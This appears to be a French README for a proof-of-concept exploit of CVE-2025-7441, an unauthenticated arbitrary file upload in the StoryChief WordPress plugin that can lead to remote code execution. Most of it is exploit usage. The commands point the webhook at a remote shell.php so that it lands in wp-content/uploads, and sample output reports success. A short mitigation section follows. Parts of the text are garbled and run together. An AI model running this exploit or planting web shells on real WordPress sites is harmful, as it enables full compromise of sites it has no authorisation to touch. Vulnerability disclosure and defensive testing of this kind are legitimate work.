
StoryChief <= 1.0.42 - Téléchargement arbitraire de fichiers non authentifié
/wp-json/storychief/webhookdata.featured_image.data.sizes.full) et effectue une requête HTTP GET côté serveur sur cette URL sans validation suffisante (pas de liste blanche de domaines, vérifications MIME/contenu insuffisantes, et les fichiers sont enregistrés dans des chemins de téléchargement publics).wp-content/uploads/YYYY/MM/<nomfichier>). Si le fichier téléchargé peut être interprété/exécuté par le serveur (par exemple, un fichier PHP et le serveur autorise l'exécution de PHP à cet emplacement), cela conduit à une exécution de code à distance (RCE) et à une compromission complète du site.CVE-2025-7441)Ce script automatise le flux typique de vérification d'exploitation pour la vulnérabilité :
data.featured_image.data.sizes.full.meta.mac.<site_url>/wp-json/storychief/webhook.<site_url>/wp-content/uploads///
Si le fichier répond avec HTTP 200, le script signale un succès ; sinon il affiche <failed to upload>.
Le script inclut les options suivantes : --file-url, --verbose, --use-curl et --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — URL de base du site cible. Exemple : http://127.0.0.1:5000/ ou https://target.example/--file-url — Remplace l'URL de fichier distant par défaut utilisée par le PoC. Par défaut : exemple codé en dur d'URL GitHub brute. Exemple : --file-url https://127.0.0.1:5000/zip.php--verbose — Active la sortie détaillée (affiche les détails de la requête/réponse et l'avancement de la vérification).--use-curl — Utilise un sous-processus curl pour délivrer le POST (mode de secours). Nécessite que curl soit installé.--retries — Nombre de tentatives pour vérifier le chemin de téléchargement attendu pour le fichier. Par défaut : 1. Utilisez par exemple --retries 5 pour interroger plusieurs fois.python3 CVE-2025-7441.py http://127.0.0.1:5000/
Spécifier une URL de fichier distant personnalisée
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
Sortie détaillée et vérifications multiples
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
Utiliser curl pour délivrer le POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
Sortie :
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
Atténuation et correction À court terme :
/wp-json/storychief/webhook via le WAF ou les règles du serveur.Conseils aux développeurs :
wp-content/uploads.